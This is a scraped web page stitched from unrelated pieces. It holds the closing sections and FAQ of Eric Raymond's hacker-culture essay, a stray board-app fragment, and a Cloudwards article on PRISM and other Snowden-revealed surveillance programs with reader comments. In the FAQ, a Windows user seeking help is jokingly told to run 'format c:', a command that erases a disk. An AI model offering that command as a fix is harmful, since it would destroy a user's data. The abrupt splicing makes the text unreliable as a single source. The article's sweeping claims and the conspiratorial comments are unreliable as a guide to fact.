As an American and native English-speaker myself, I have previously been reluctant to suggest this, lest it be taken as a sort of cultural imperialism. But several native speakers of other languages have urged me to point out that English is the working language of the hacker culture and the Internet, and that you will need to know it to function in the hacker community.

Back around 1991 I learned that many hackers who have English as a second language use it in technical discussions even when they share a birth tongue; it was reported to me at the time that English has a richer technical vocabulary than any other language and is therefore simply a better tool for the job. For similar reasons, translations of technical books written in English are often unsatisfactory (when they get done at all).

Linus Torvalds, a Finn, comments his code in English (it apparently never occurred to him to do otherwise). His fluency in English has been an important factor in his ability to recruit a worldwide community of developers for Linux. It's an example worth following.

Being a native English-speaker does not guarantee that you have language skills good enough to function as a hacker. If your writing is semi-literate, ungrammatical, and riddled with misspellings, many hackers (including myself) will tend to ignore you. While sloppy writing does not invariably mean sloppy thinking, we've generally found the correlation to be strong — and we have no use for sloppy thinkers. If you can't yet write competently, learn to.

Status in the Hacker Culture

1. Write open-source software

2. Help test and debug open-source software

3. Publish useful information

4. Help keep the infrastructure working

5. Serve the hacker culture itself

Like most cultures without a money economy, hackerdom runs on reputation. You're trying to solve interesting problems, but how interesting they are, and whether your solutions are really good, is something that only your technical peers or superiors are normally equipped to judge.

Accordingly, when you play the hacker game, you learn to keep score primarily by what other hackers think of your skill (this is why you aren't really a hacker until other hackers consistently call you one). This fact is obscured by the image of hacking as solitary work; also by a hacker-cultural taboo (gradually decaying since the late 1990s but still potent) against admitting that ego or external validation are involved in one's motivation at all.

Specifically, hackerdom is what anthropologists call a gift culture. You gain status and reputation in it not by dominating other people, nor by being beautiful, nor by having things other people want, but rather by giving things away. Specifically, by giving away your time, your creativity, and the results of your skill.

There are basically five kinds of things you can do to be respected by hackers:

1. Write open-source software

The first (the most central and most traditional) is to write programs that other hackers think are fun or useful, and give the program sources away to the whole hacker culture to use.

(We used to call these works “free software”, but this confused too many people who weren't sure exactly what “free” was supposed to mean. Most of us now prefer the term “open-source” software).

Hackerdom's most revered demigods are people who have written large, capable programs that met a widespread need and given them away, so that now everyone uses them.

But there's a bit of a fine historical point here. While hackers have always looked up to the open-source developers among them as our community's hardest core, before the mid-1990s most hackers most of the time worked on closed source. This was still true when I wrote the first version of this HOWTO in 1996; it took the mainstreaming of open-source software after 1997 to change things. Today, "the hacker community" and "open-source developers" are two descriptions for what is essentially the same culture and population — but it is worth remembering that this was not always so. (For more on this, see the section called “Historical Note: Hacking, Open Source, and Free Software”.)

2. Help test and debug open-source software

They also serve who stand and debug open-source software. In this imperfect world, we will inevitably spend most of our software development time in the debugging phase. That's why any open-source author who's thinking will tell you that good beta-testers (who know how to describe symptoms clearly, localize problems well, can tolerate bugs in a quickie release, and are willing to apply a few simple diagnostic routines) are worth their weight in rubies. Even one of these can make the difference between a debugging phase that's a protracted, exhausting nightmare and one that's merely a salutary nuisance.

If you're a newbie, try to find a program under development that you're interested in and be a good beta-tester. There's a natural progression from helping test programs to helping debug them to helping modify them. You'll learn a lot this way, and generate good karma with people who will help you later on.

3. Publish useful information

Another good thing is to collect and filter useful and interesting information into web pages or documents like Frequently Asked Questions (FAQ) lists, and make those generally available.

Maintainers of major technical FAQs get almost as much respect as open-source authors.

4. Help keep the infrastructure working

The hacker culture (and the engineering development of the Internet, for that matter) is run by volunteers. There's a lot of necessary but unglamorous work that needs done to keep it going — administering mailing lists, moderating newsgroups, maintaining large software archive sites, developing RFCs and other technical standards.

People who do this sort of thing well get a lot of respect, because everybody knows these jobs are huge time sinks and not as much fun as playing with code. Doing them shows dedication.

5. Serve the hacker culture itself

Finally, you can serve and propagate the culture itself (by, for example, writing an accurate primer on how to become a hacker :-)). This is not something you'll be positioned to do until you've been around for while and become well-known for one of the first four things.

The hacker culture doesn't have leaders, exactly, but it does have culture heroes and tribal elders and historians and spokespeople. When you've been in the trenches long enough, you may grow into one of these. Beware: hackers distrust blatant ego in their tribal elders, so visibly reaching for this kind of fame is dangerous. Rather than striving for it, you have to sort of position yourself so it drops in your lap, and then be modest and gracious about your status.

The Hacker/Nerd Connection

Contrary to popular myth, you don't have to be a nerd to be a hacker. It does help, however, and many hackers are in fact nerds. Being something of a social outcast helps you stay concentrated on the really important things, like thinking and hacking.

For this reason, many hackers have adopted the label ‘geek’ as a badge of pride — it's a way of declaring their independence from normal social expectations (as well as a fondness for other things like science fiction and strategy games that often go with being a hacker). The term 'nerd' used to be used this way back in the 1990s, back when 'nerd' was a mild pejorative and 'geek' a rather harsher one; sometime after 2000 they switched places, at least in U.S. popular culture, and there is now even a significant geek-pride culture among people who aren't techies.

If you can manage to concentrate enough on hacking to be good at it and still have a life, that's fine. This is a lot easier today than it was when I was a newbie in the 1970s; mainstream culture is much friendlier to techno-nerds now. There are even growing numbers of people who realize that hackers are often high-quality lover and spouse material.

If you're attracted to hacking because you don't have a life, that's OK too — at least you won't have trouble concentrating. Maybe you'll get a life later on.

Points For Style

Again, to be a hacker, you have to enter the hacker mindset. There are some things you can do when you're not at a computer that seem to help. They're not substitutes for hacking (nothing is) but many hackers do them, and feel that they connect in some basic way with the essence of hacking.

  • Learn to write your native language well. Though it's a common stereotype that programmers can't write, a surprising number of hackers (including all the most accomplished ones I know of) are very able writers.

  • Read science fiction. Go to science fiction conventions (a good way to meet hackers and proto-hackers).

  • Join a hackerspace and make things (another good way to meet hackers and proto-hackers).

  • Train in a martial-arts form. The kind of mental discipline required for martial arts seems to be similar in important ways to what hackers do. The most popular forms among hackers are definitely Asian empty-hand arts such as Tae Kwon Do, various forms of Karate, Kung Fu, Aikido, or Ju Jitsu. Western fencing and Asian sword arts also have visible followings. In places where it's legal, pistol shooting has been rising in popularity since the late 1990s. The most hackerly martial arts are those which emphasize mental discipline, relaxed awareness, and precise control, rather than raw strength, athleticism, or physical toughness.

  • Study an actual meditation discipline. The perennial favorite among hackers is Zen (importantly, it is possible to benefit from Zen without acquiring a religion or discarding one you already have). Other styles may work as well, but be careful to choose one that doesn't require you to believe crazy things.

  • Develop an analytical ear for music. Learn to appreciate peculiar kinds of music. Learn to play some musical instrument well, or how to sing.

  • Develop your appreciation of puns and wordplay.

The more of these things you already do, the more likely it is that you are natural hacker material. Why these things in particular is not completely clear, but they're connected with a mix of left- and right-brain skills that seems to be important; hackers need to be able to both reason logically and step outside the apparent logic of a problem at a moment's notice.

Work as intensely as you play and play as intensely as you work. For true hackers, the boundaries between "play", "work", "science" and "art" all tend to disappear, or to merge into a high-level creative playfulness. Also, don't be content with a narrow range of skills. Though most hackers self-describe as programmers, they are very likely to be more than competent in several related skills — system administration, web design, and PC hardware troubleshooting are common ones. A hacker who's a system administrator, on the other hand, is likely to be quite skilled at script programming and web design. Hackers don't do things by halves; if they invest in a skill at all, they tend to get very good at it.

Finally, a few things not to do.

  • Don't use a silly, grandiose user ID or screen name.

  • Don't get in flame wars on Usenet (or anywhere else).

  • Don't call yourself a ‘cyberpunk’, and don't waste your time on anybody who does.

  • Don't post or email writing that's full of spelling errors and bad grammar.

The only reputation you'll make doing any of these things is as a twit. Hackers have long memories — it could take you years to live your early blunders down enough to be accepted.

The problem with screen names or handles deserves some amplification. Concealing your identity behind a handle is a juvenile and silly behavior characteristic of crackers, warez d00dz, and other lower life forms. Hackers don't do this; they're proud of what they do and want it associated with their real names. So if you have a handle, drop it. In the hacker culture it will only mark you as a loser.

Historical Note: Hacking, Open Source, and Free Software

When I originally wrote this how-to in late 1996, some of the conditions around it were very different from the way they look today. A few words about these changes may help clarify matters for people who are confused about the relationship of open source, free software, and Linux to the hacker community. If you are not curious about this, you can skip straight to the FAQ and bibliography from here.

The hacker ethos and community as I have described it here long predates the emergence of Linux after 1990; I first became involved with it around 1976, and, its roots are readily traceable back to the early 1960s. But before Linux, most hacking was done on either proprietary operating systems or a handful of quasi-experimental homegrown systems like MIT's ITS that were never deployed outside of their original academic niches. While there had been some earlier (pre-Linux) attempts to change this situation, their impact was at best very marginal and confined to communities of dedicated true believers which were tiny minorities even within the hacker community, let alone with respect to the larger world of software in general.

What is now called "open source" goes back as far as the hacker community does, but until 1985 it was an unnamed folk practice rather than a conscious movement with theories and manifestos attached to it. This prehistory ended when, in 1985, arch-hacker Richard Stallman ("RMS") tried to give it a name — "free software". But his act of naming was also an act of claiming; he attached ideological baggage to the "free software" label which much of the existing hacker community never accepted. As a result, the "free software" label was loudly rejected by a substantial minority of the hacker community (especially among those associated with BSD Unix), and used with serious but silent reservations by a majority of the remainder (including myself).

Despite these reservations, RMS's claim to define and lead the hacker community under the "free software" banner broadly held until the mid-1990s. It was seriously challenged only by the rise of Linux. Linux gave open-source development a natural home. Many projects issued under terms we would now call open-source migrated from proprietary Unixes to Linux. The community around Linux grew explosively, becoming far larger and more heterogenous than the pre-Linux hacker culture. RMS determinedly attempted to co-opt all this activity into his "free software" movement, but was thwarted by both the exploding diversity of the Linux community and the public skepticism of its founder, Linus Torvalds. Torvalds continued to use the term "free software" for lack of any alternative, but publicly rejected RMS's ideological baggage. Many younger hackers followed suit.

In 1996, when I first published this Hacker HOWTO, the hacker community was rapidly reorganizing around Linux and a handful of other open-source operating systems (notably those descended from BSD Unix). Community memory of the fact that most of us had spent decades developing closed-source software on closed-source operating systems had not yet begun to fade, but that fact was already beginning to seem like part of a dead past; hackers were, increasingly, defining themselves as hackers by their attachments to open-source projects such as Linux or Apache.

The term "open source", however, had not yet emerged; it would not do so until early 1998. When it did, most of the hacker community adopted it within the following six months; the exceptions were a minority ideologically attached to the term "free software". Since 1998, and especially after about 2003, the identification of 'hacking' with 'open-source (and free software) development' has become extremely close. Today there is little point in attempting to distinguish between these categories, and it seems unlikely that will change in the future.

It is worth remembering, however, that this was not always so.

Other Resources

Paul Graham has written an essay called Great Hackers, and another on Undergraduation, in which he speaks much wisdom.

Younger hackers might find Things Every Hacker Once Knew interesting and useful.

I have also written A Brief History Of Hackerdom.

I have written a paper, The Cathedral and the Bazaar, which explains a lot about how the Linux and open-source cultures work. I have addressed this topic even more directly in its sequel Homesteading the Noosphere.

Rick Moen has written an excellent document on how to run a Linux user group.

Rick Moen and I have collaborated on another document on How To Ask Smart Questions. This will help you seek assistance in a way that makes it more likely that you will actually get it.

If you need instruction in the basics of how personal computers, Unix, and the Internet work, see The Unix and Internet Fundamentals HOWTO.

When you release software or write patches for software, try to follow the guidelines in the Software Release Practice HOWTO.

If you enjoyed the Zen poem, you might also like Rootless Root: The Unix Koans of Master Foo.

Frequently Asked Questions

Q: How do I tell if I am already a hacker?

Q: Will you teach me how to hack?

Q: How can I get started, then?

Q: When do you have to start? Is it too late for me to learn?

Q: How long will it take me to learn to hack?

Q: Is Visual Basic a good language to start with?

Q: Would you help me to crack a system, or teach me how to crack?

Q: How can I get the password for someone else's account?

Q: How can I break into/read/monitor someone else's email?

Q: How can I steal channel op privileges on IRC?

Q: I've been cracked. Will you help me fend off further attacks?

Q: I'm having problems with my Windows software. Will you help me?

Q: Where can I find some real hackers to talk with?

Q: Can you recommend useful books about hacking-related subjects?

Q: Do I need to be good at math to become a hacker?

Q: What language should I learn first?

Q: What kind of hardware do I need?

Q: I want to contribute. Can you help me pick a problem to work on?

Q: Do I need to hate and bash Microsoft?

Q: But won't open-source software leave programmers unable to make a living?

Q: Where can I get a free Unix?

|

Q:

|

How do I tell if I am already a hacker?

|
|

A:

|

Ask yourself the following three questions:

  • Do you speak code, fluently?

  • Do you identify with the goals and values of the hacker community?

  • Has a well-established member of the hacker community ever called you a hacker?

If you can answer yes to all three of these questions, you are already a hacker. No two alone are sufficient.

The first test is about skills. You probably pass it if you have the minimum technical skills described earlier in this document. You blow right through it if you have had a substantial amount of code accepted by an open-source development project.

The second test is about attitude. If the five principles of the hacker mindset seemed obvious to you, more like a description of the way you already live than anything novel, you are already halfway to passing it. That's the inward half; the other, outward half is the degree to which you identify with the hacker community's long-term projects.

Here is an incomplete but indicative list of some of those projects: Does it matter to you that Linux improve and spread? Are you passionate about software freedom? Hostile to monopolies? Do you act on the belief that computers can be instruments of empowerment that make the world a richer and more humane place?

But a note of caution is in order here. The hacker community has some specific, primarily defensive political interests — two of them are defending free-speech rights and fending off "intellectual-property" power grabs that would make open source illegal. Some of those long-term projects are civil-liberties organizations like the Electronic Frontier Foundation, and the outward attitude properly includes support of them. But beyond that, most hackers view attempts to systematize the hacker attitude into an explicit political program with suspicion; we've learned, the hard way, that these attempts are divisive and distracting. If someone tries to recruit you to march on your capitol in the name of the hacker attitude, they've missed the point. The right response is probably “Shut up and show them the code.”

The third test has a tricky element of recursiveness about it. I observed in the section called “What Is a Hacker?” that being a hacker is partly a matter of belonging to a particular subculture or social network with a shared history, an inside and an outside. In the far past, hackers were a much less cohesive and self-aware group than they are today. But the importance of the social-network aspect has increased over the last thirty years as the Internet has made connections with the core of the hacker subculture easier to develop and maintain. One easy behavioral index of the change is that, in this century, we have our own T-shirts.

Sociologists, who study networks like those of the hacker culture under the general rubric of "invisible colleges", have noted that one characteristic of such networks is that they have gatekeepers — core members with the social authority to endorse new members into the network. Because the "invisible college" that is hacker culture is a loose and informal one, the role of gatekeeper is informal too. But one thing that all hackers understand in their bones is that not every hacker is a gatekeeper. Gatekeepers have to have a certain degree of seniority and accomplishment before they can bestow the title. How much is hard to quantify, but every hacker knows it when they see it.

|
|

Q:

|

Will you teach me how to hack?

|
|

A:

|

Since first publishing this page, I've gotten several requests a week (often several a day) from people to "teach me all about hacking". Unfortunately, I don't have the time or energy to do this; my own hacking projects, and working as an open-source advocate, take up 110% of my time.

Even if I did, hacking is an attitude and skill you basically have to teach yourself. You'll find that while real hackers want to help you, they won't respect you if you beg to be spoon-fed everything they know.

Learn a few things first. Show that you're trying, that you're capable of learning on your own. Then go to the hackers you meet with specific questions.

If you do email a hacker asking for advice, here are two things to know up front. First, we've found that people who are lazy or careless in their writing are usually too lazy and careless in their thinking to make good hackers — so take care to spell correctly, and use good grammar and punctuation, otherwise you'll probably be ignored. Secondly, don't dare ask for a reply to an ISP account that's different from the account you're sending from; we find people who do that are usually thieves using stolen accounts, and we have no interest in rewarding or assisting thievery.

|
|

Q:

|

How can I get started, then?

|
|

A:

|

The best way for you to get started would probably be to go to a LUG (Linux user group) meeting. You can find such groups on the LDP General Linux Information Page; there is probably one near you, possibly associated with a college or university. LUG members will probably give you a Linux if you ask, and will certainly help you install one and get started.

Your next step (and your first step if you can't find a LUG nearby) should be to find an open-source project that interests you. Start reading code and reviewing bugs. Learn to contribute, and work your way in.

The only way in is by working to improve your skills. If you ask me personally for advice on how to get started, I will tell you these exact same things, because I don't have any magic shortcuts for you. I will also mentally write you off as a probable loser - because if you lacked the stamina to read this FAQ and the intelligence to understand from it that the only way in is by working to improve your skills, you're hopeless.

Another interesting possibility is to go visit a hackerspace. There is a burgeoning movement of people creating physical locations - maker's clubs - where they can hang out to work on hardware and software projects together, or work solo in a cogenial atmosphere. Hackerspaces often collect tools and specialized equipment that would be too expensive or logistically inconvenient for individuals to own. Hackerspaces are easy to find on the Internet; one may be located near you.

|
|

Q:

|

When do you have to start? Is it too late for me to learn?

|
|

A:

|

Any age at which you are motivated to start is a good age. Most people seem to get interested between ages 15 and 20, but I know of exceptions in both directions.

|
|

Q:

|

How long will it take me to learn to hack?

|
|

A:

|

That depends on how talented you are and how hard you work at it. Most people who try can acquire a respectable skill set in eighteen months to two years, if they concentrate. Don't think it ends there, though; in hacking (as in many other fields) it takes about ten years to achieve mastery. And if you are a real hacker, you will spend the rest of your life learning and perfecting your craft.

|
|

Q:

|

Is Visual Basic a good language to start with?

|
|

A:

|

If you're asking this question, it almost certainly means you're thinking about trying to hack under Microsoft Windows. This is a bad idea in itself. When I compared trying to learn to hack under Windows to trying to learn to dance while wearing a body cast, I wasn't kidding. Don't go there. It's ugly, and it never stops being ugly.

There is a specific problem with Visual Basic; mainly that it's not portable. Though there is a prototype open-source implementations of Visual Basic, the applicable ECMA standards don't cover more than a small set of its programming interfaces. On Windows most of its library support is proprietary to a single vendor (Microsoft); if you aren't extremely careful about which features you use — more careful than any newbie is really capable of being — you'll end up locked into only those platforms Microsoft chooses to support. If you're starting on a Unix, much better languages with better libraries are available. Python, for example.

Also, like other Basics, Visual Basic is a poorly-designed language that will teach you bad programming habits. No, don't ask me to describe them in detail; that explanation would fill a book. Learn a well-designed language instead.

One of those bad habits is becoming dependent on a single vendor's libraries, widgets, and development tools. In general, any language that isn't fully supported under at least Linux or one of the BSDs, and/or at least three different vendors' operating systems, is a poor one to learn to hack in.

|
|

Q:

|

Would you help me to crack a system, or teach me how to crack?

|
|

A:

|

No. Anyone who can still ask such a question after reading this FAQ is too stupid to be educable even if I had the time for tutoring. Any emailed requests of this kind that I get will be ignored or answered with extreme rudeness.

|
|

Q:

|

How can I get the password for someone else's account?

|
|

A:

|

This is cracking. Go away, idiot.

|
|

Q:

|

How can I break into/read/monitor someone else's email?

|
|

A:

|

This is cracking. Get lost, moron.

|
|

Q:

|

How can I steal channel op privileges on IRC?

|
|

A:

|

This is cracking. Begone, cretin.

|
|

Q:

|

I've been cracked. Will you help me fend off further attacks?

|
|

A:

|

No. Every time I've been asked this question so far, it's been from some poor sap running Microsoft Windows. It is not possible to effectively secure Windows systems against crack attacks; the code and architecture simply have too many flaws, which makes securing Windows like trying to bail out a boat with a sieve. The only reliable prevention starts with switching to Linux or some other operating system that is designed to at least be capable of security.

|
|

Q:

|

I'm having problems with my Windows software. Will you help me?

|
|

A:

|

Yes. Go to a DOS prompt and type "format c:". Any problems you are experiencing will cease within a few minutes.

|
|

Q:

|

Where can I find some real hackers to talk with?

|
|

A:

|

The best way is to find a Unix or Linux user's group local to you and go to their meetings (you can find links to several lists of user groups on the LDP site at ibiblio).

(I used to say here that you wouldn't find any real hackers on IRC, but I'm given to understand this is changing. Apparently some real hacker communities, attached to things like GIMP and Perl, have IRC channels now.)

|
|

Q:

|

Can you recommend useful books about hacking-related subjects?

|
|

A:

|

I maintain a Linux Reading List HOWTO that you may find helpful. The Loginataka may also be interesting.

For an introduction to Python, see the tutorial on the Python site.

|
|

Q:

|

Do I need to be good at math to become a hacker?

|
|

A:

|

No. Hacking uses very little formal mathematics or arithmetic. In particular, you won't usually need trigonometry, calculus or analysis (there are exceptions to this in a handful of specific application areas like 3-D computer graphics). Knowing some formal logic and Boolean algebra is good. Some grounding in finite mathematics (including finite-set theory, combinatorics, and graph theory) can be helpful.

Much more importantly: you need to be able to think logically and follow chains of exact reasoning, the way mathematicians do. While the content of most mathematics won't help you, you will need the discipline and intelligence to handle mathematics. If you lack the intelligence, there is little hope for you as a hacker; if you lack the discipline, you'd better grow it.

I think a good way to find out if you have what it takes is to pick up a copy of Raymond Smullyan's book What Is The Name Of This Book?. Smullyan's playful logical conundrums are very much in the hacker spirit. Being able to solve them is a good sign; enjoying solving them is an even better one.

|
|

Q:

|

What language should I learn first?

|
|

A:

|

HTML if you don't already know it. There are a lot of glossy, hype-intensive bad HTML books out there, and distressingly few good ones. The one I like best is HTML: The Definitive Guide.

But HTML is not a full programming language. When you're ready to start programming, I would recommend starting with Python. You will hear a lot of people recommending Perl, but it's harder to learn and (in my opinion) less well designed.

C is really important, but it's also much more difficult than either Python or Perl. Don't try to learn it first.

Windows users, do not settle for Visual Basic. It will teach you bad habits, and it's not portable off Windows. Avoid.

|
|

Q:

|

What kind of hardware do I need?

|
|

A:

|

It used to be that personal computers were rather underpowered and memory-poor, enough so that they placed artificial limits on a hacker's learning process. This stopped being true in the mid-1990s; any machine from an Intel 486DX50 up is more than powerful enough for development work, X, and Internet communications, and the smallest disks you can buy today are plenty big enough.

The important thing in choosing a machine on which to learn is whether its hardware is Linux-compatible (or BSD-compatible, should you choose to go that route). Again, this will be true for almost all modern machines. The only really sticky areas are modems and wireless cards; some machines have Windows-specific hardware that won't work with Linux.

There's a FAQ on hardware compatibility; the latest version is here.

|
|

Q:

|

I want to contribute. Can you help me pick a problem to work on?

|
|

A:

|

No, because I don't know your talents or interests. You have to be self-motivated or you won't stick, which is why having other people choose your direction almost never works.

|
|

Q:

|

Do I need to hate and bash Microsoft?

|
|

A:

|

No, you don't. Not that Microsoft isn't loathsome, but there was a hacker culture long before Microsoft and there will still be one long after Microsoft is history. Any energy you spend hating Microsoft would be better spent on loving your craft. Write good code — that will bash Microsoft quite sufficiently without polluting your karma.

|
|

Q:

|

But won't open-source software leave programmers unable to make a living?

|
|

A:

|

This seems unlikely — so far, the open-source software industry seems to be creating jobs rather than taking them away. If having a program written is a net economic gain over not having it written, a programmer will get paid whether or not the program is going to be open-source after it's done. And, no matter how much "free" software gets written, there always seems to be more demand for new and customized applications. I've written more about this at the Open Source pages.

|
|

Q:

|

Where can I get a free Unix?

|
|

A:

|

If you don't have a Unix installed on your machine yet, elsewhere on this page I include pointers to where to get the most commonly used free Unix. To be a hacker you need motivation and initiative and the ability to educate yourself. Start now...

|

set Restriction

Add Tags ?

AddDeleteNo

close

close

https://app.leanboard.io/board/5e75e313-e6a2-4017-8056-b185d082d36c

PRISM, Snowden and Government Surveillance: 6 Things You Need To Know

PRISM, Snowden and Government Surveillance: 6 Things You Need To Know                                          set Restriction   

Search for:

Cloud Storage

We Help You Find the Best Close

Best Cloud Storage

Best Cloud Storage 2019Best Free Cloud StorageBest Business Cloud StorageBest Cloud Storage for PhotosBest Cloud Storage for VideoMore Top Picks

Reviews

Best Choice Sync.compCloudCloudberry BackupSugarSyncLivedriveDropboxMEGAAll Reviews

Comparisons

Dropbox vs Google Drive vs OnedriveSync.com vs Dropbox

Learn

Secure Dropbox AlternativesAll Articles

  1. Cloudwards.net
  2. Cloud Storage
  3. PRISM, Snowden and Government Surveillance: 6 Things You Need To Know

PRISM, Snowden and Government Surveillance: 6 Things You Need To Know

By Lavanya Rathnam
— Last Updated: 19 Apr'17
2017-03-29T03:38:49-08:00

Edward Snowden, one of the most famous whistleblowers of our times, brought to light the many surveillance programs and other snooping activities of the U.S. government. This former intelligence officer revealed top secret documents to Glenn Greenwald of The Guardian and Laura Poitras, a freelance journalist, in May 2013 at a hotel in Hong Kong.

The many documents that he gathered from U.S. intelligence agencies like the NSA show the depth and breadth of surveillance programs that have been in place since 2007. It also showed the role of corporations, governments of other countries and lawmakers in furthering and legitimizing these surveillance programs.

Privacy enthusiasts, including us at Cloudwards.net, were shocked by some of these programs. Here’s a quick look into some of the surveillance schemes that Edward Snowden blew the whistle on back in 2013.

PRISM

Probably Snowden’s biggest revelation was concerning a program called PRISM, under which the National Security Agency (NSA) accesses emails, documents, photographs and other sensitive users’ data stored in major companies.

Documents leaked by Snowden show that Facebook, Google, Microsoft, Yahoo, PalTalk, AOL, Skype, YouTube and Apple give the NSA direct access to its users’ information. According to the documents, Dropbox also joined this list (one of the many reasons we recommend our readers stick with secure alternatives to this service).

PRISM was launched from the ashes of President George W. Bush’s domestic surveillance programs, which were abandoned due to lawsuits, disclosures in the media and widespread protest.

Due to past controversies, this program was given the legal go-ahead by the U.S. Congress when it passed the Protect America Act in 2007. Also, the FISA Amendments Act of 2008 gave legal immunity to private companies that cooperated voluntarily with U.S Intelligence agencies.

Microsoft became PRISM’s first partner in 2007 and the NSA began collecting vast amounts of data from its servers. Other companies joined the program in due course. In 2008, Congress gave the Justice Department authority to compel a reluctant company to “comply” with the needs of PRISM. This means that even companies that were not willing to join the program voluntarily had to do so at the behest of a court order.

This gave the NSA access to even more information. Soon, PRISM became a leading source of raw material for the NSA, as it accounted for one in every seven intelligence reports. PalTalk, for example, is much smaller when compared to the other companies on the list, but it provided substantial intelligence during the Arab Spring and the ongoing Syrian civil war.

Wiretapping

A court order shows that Verizon was ordered to provide the details of all calls, on a daily basis, to the NSA. This included calls that were made within the U.S. as well as between the U.S. and other countries.

This order was granted by the secret Foreign Intelligence Surveillance Court to the FBI on April 25, 2013. Under this order, Verizon has to provide the numbers of both parties on a call, location data, call duration, time of the call, International Mobile Subscriber Identity (IMSI) number and any other unique identifiers.

In addition, the court order explicitly forbids Verizon from disclosing to the public the existence of FISA order or this request from the FBI. The terms of this order complies with the “business records” provision of the Patriot Act.

A report in The Wall Street Journal shows that this court order was sent to AT&T and Sprint Nextel too. This arrangement with the country’s three largest phone companies means that the NSA gets a record of almost every call that is made.

To top it, some documents show that the NSA can crack cellphone encryption, so it can easily decode the content of intercepted calls and messages.

The report also states that the NSA made a similar arrangement with Internet service providers to obtain data about emails and browsing history of all individuals. A recent decision by the U.S. Senate will compound this breach of privacy by ISPs, as they will not just be working with the NSA but also with commercial third parties to sell customer data.

Besides wiretapping and ISP spying, credit card transactions are also cataloged and stored in NSA’s servers for analysis.

Tempora

The British intelligence agency, the Government Communications Headquarters (GCHQ) works closely with the NSA in a program called Tempora.

Under this program, GCHQ monitors the world’s phone and Internet traffic to gather information on emails, calls, facebook messages and browsing history by tapping directly into the transatlantic fiber optic cables that land on the shores of the UK. All this data and intelligence is shared with the NSA. In fact, more than 850,000 NSA employees and private contractors like Snowden had access to the GCHQ database.

A report shows that in 2012 alone, the GCHQ handled 600 million phone calls a day by tapping into 200 cables. Since each cable can carry 10GB of data per second, this agency had access to about 21 petabytes of data every day.

This collection is legal, as the Regulation of Investigatory Powers Act (RIPA) allows the GCHQ to collect information without a warrant. As a result, Tempora gives the British spying agency the “biggest Internet access” among a coalition called “Five Eyes,” which comprises Australia, Canada and New Zealand, besides the UK and the U.S.

Tailored Access Operations (TAO)

When the NSA is unable to break encryption codes, it uses an elite hacker team called Tailored Access Operations, or TAO for short. This team hacks into computers worldwide and infects them with malware to access the computer’s stored content.

The NSA is believed to use this tactic when it needs detailed information on a specific target or when it’s unable to break an encryption code.

Dishfire

Another surveillance program called Dishfire collects almost 200 million text messages from across the world and uses them to extract data such as location, contact networks and credit card details.

Using this information, the NSA could extract people’s travel plans, financial transactions and more. In addition, another program called “Prefer” conducts an automated analysis of these text messages on all individuals, even those who were not under the suspicion of any illegal activity.

For example, on an average, the NSA was able to extract information related to 1.6 million border crossings and over 800,000 financial transactions through text-to-text payments using “Prefer.”

SOMALGET

The NSA is intercepting, recording and storing all calls made in the Bahamas under a program called SOMALGET, a top-secret program that is implemented without the knowledge or consent of the Bahamian government.

A report by The Intercept showed that the U.S. Drug Enforcement Administration opened a backdoor to the country’s cellular network, thereby giving the NSA covert access to all mobile calls. In fact, SOMALGET is a cutting-edge tool that allows the NSA to store the actual content of every conversation, not just the metadata.

This program is a part of a larger program called MYSTIC, under which the U.S is secretly monitoring the telecommunication systems of other countries like Mexico, the Philippines and Kenya.

The NSA is using MYSTIC to gather personal data on mobile calls placed in countries that have a population of more than 250 million people. It is gaining access to these networks through the interception mechanism covertly installed by American companies that operate in these countries. According to some classified documents, the agency is seeking more funding to expand its surveillance program to other countries.

Final Thoughts

From the above facts it’s clear that the NSA is keeping a constant watch over your activities. With the help of large corporations and lawmakers, the government knows every little thing you do. Even information you access, store and use is recorded in NSA’s facilities, thereby giving you little to no privacy in your everyday life.

Such programs show how surveillance practices have shifted from individual suspicion in favor of a large and systematic practice of collecting mass data. Given this, the onus is on you to protect your privacy in a methodical way.

Sign up for our newsletter
to get the latest on new releases and more.

Subscribe

Thankfully, people who take their privacy seriously have a host of ways to protect it: from VPN services (we’d recommend reading our ExpressVPN review in that case) to secure providers of cloud storage and online backup. Some privacy tools are free, making keeping your data safe something anyone can do regardless of financial situation.

What do you think about the government and corporations spying on us? Let us know in the comments below, thank you for reading.

7 thoughts on “PRISM, Snowden and Government Surveillance: 6 Things You Need To Know”

  1. knudmand says:

    2017/04/03 at 13:16 Reply

    Why is it that most people seem to trust the now omnipresent end-to-end encryption? Get real! How difficult can it be for FBI, NSA, FSB, GCHQ, Mossad etc. to corrupt, infiltrate, thretten, blackmail etc. a few key techies, CEO’s etc. in WhatsApp, Telegram, Signal etc. when they have near infinite resources and impunity?

    The right question is not “Which app is most secure against government attack”, because, of cause, non are. News stories to the contrary are just spin to keep the masses stupefied.

    If you need protection against spy agencies industrial espionage or their attacks on so called non-patriots, traitors, decadents, whistle-blowers, journalists or terrorists, then the right question is “Which methods, apps, general behaviour and broad security measures will best keep me under the radar, and drain most of their human brain resources, should l nevertheless appere on the radar”.

  2. ciphaDOTnet says:

    2017/06/02 at 11:03 Reply

    @knudmand: chill. And use Linux! Cheers.

  3. Hendrik says:

    2018/10/05 at 21:06 Reply

    They do also, you simply cant get rid off them as they do use a virtual network t. I can tell as I became a person of interest for 18 year, yes that right 18 years stalked by them

  4. Jim Taylor says:

    2017/12/15 at 11:14 Reply

    Use Tor Browser or even better use Tails on a live USB stick.

  5. Hayden says:

    2019/02/26 at 06:43 Reply

    Why must the government do this?

  6. Nick Richards says:

    2019/03/17 at 14:09 Reply

    Because a) you are owned by the government despite what you think and b) they are worried because the internet has allowed us to find out and compare notes and now we are biting back and they are worried.

  7. Leon says:

    2019/04/23 at 08:51 Reply

    Because NSA isn’t about the “homeland security”, it is about the “homelands unfair competition”.
    A reason why the government finances institutions like the NSA is, more than security, economical power. Information is power, and knowing what the companies in other countries do, give the own companies an advantage.
    Google “nsa industrial espionage”. It is all about money, again, as always in the US.

Leave a Reply Cancel reply

Your email address will not be published. Required fields are marked *

Comment

Name*

Email*

Website

Also interesting


MEGA vs Tresorit: Who Trumps Who in 2019?


SpiderOak vs Dropbox: Which Is the Best for You in 2019?


pCloud vs MEGA: Zero-Knowledge, Free Storage, But Which Is Best?


How to Send Large Files: A Practical Guide for 2019

Most popular on Cloudwards


Free Cloud Storage in 2019: Top Five Providers with Large Free Service Plans


Best of The Big Three: Dropbox vs Google Drive vs Onedrive


How to Beat the Netflix VPN Ban


How to Unblock YouTube: Video Streaming for Everyone

  1. Cloudwards.net
  2. Articles
  3. Cloud Storage
  4. Personal Cloud Solutions
  5. How to Send Large Files: A Practical Guide for 2019

© 2007-2019 Cloudwards.net
We are a professional review site that receives compensation from the companies whose products we review.
We test each product thoroughly and give high marks to only the very best.
